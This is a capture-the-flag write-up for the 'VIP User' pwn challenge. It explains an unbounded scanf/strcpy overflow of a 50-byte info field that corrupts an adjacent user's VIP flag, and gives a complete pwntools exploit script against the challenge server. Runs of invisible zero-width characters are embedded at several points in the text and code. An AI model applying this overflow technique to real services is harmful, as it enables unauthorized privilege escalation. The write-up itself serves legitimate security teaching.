← Back to Writeups
CUSTOMMediumpwn

VIP User

XESXOR9/2/20262 min read
#pwn#custom#medium#adjacent_structure_corruption#multi_step_exploitation#struct_overflow

VIP User

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-10 | Status: Solved Techniques: adjacent_structure_corruption, multi_step_exploitation, struct_overflow

Summary

Task: obtain VIP status to access the flag in a user management system. Solution: register two users, then overflow the first user's info field (50 bytes, no bounds check) to corrupt the adjacent second user's VIP flag, then login as the second user to get the flag.

VIP User — SPB CTF Pwn Season

Description

"Только VIP-пывнер сможет получить флаг" (Only a VIP pwner can get the flag)

Server: nc 109.233.56.90 11510 Binary: vip — ELF 64-bit x86-64, not stripped

Analysis

Buffer overflow in change_user_info() function to corrupt adjacent user structures. The program manages user accounts with a struct containing username, info, and VIP flag.

Vulnerability: scanf("%s") and strcpy() without bounds checking when updating a user's "info" field (50 bytes buffer), allowing overflow into adjacent user structures. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Exploitation Steps:

  1. Register two users (user1 at index 1, user2 at index 2)
  2. Login as user1
  3. Use "change info" with overflow payload
  4. Login as user2 (now has VIP flag set)
  5. Select "get flag" option
python
from pwn import *

io = remote('109.233.56.90', 11510)

# Register user1
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'username: ', b'user1')
io.sendlineafter(b'info: ', b'info1')

# Register user2
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'username: ', b'user2')
io.sendlineafter(b'info: ', b'info2')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Login as user1
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'username: ', b'user1')

# Change info with overflow payload
# 50 bytes info + \x01 (VIP flag) + "user2" (preserve username)
payload = b'A' * 50 + b'\x01' + b'user2'
io.sendlineafter(b'> ', b'3')  # change info
io.sendlineafter(b'info: ', payload)

# Logout and login as user2 (now VIP)
io.sendlineafter(b'> ', b'4')  # logout
io.sendlineafter(b'> ', b'2')  # login
io.sendlineafter(b'username: ', b'user2')

# Get flag
io.sendlineafter(b'> ', b'5')  # get flag (VIP only)
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍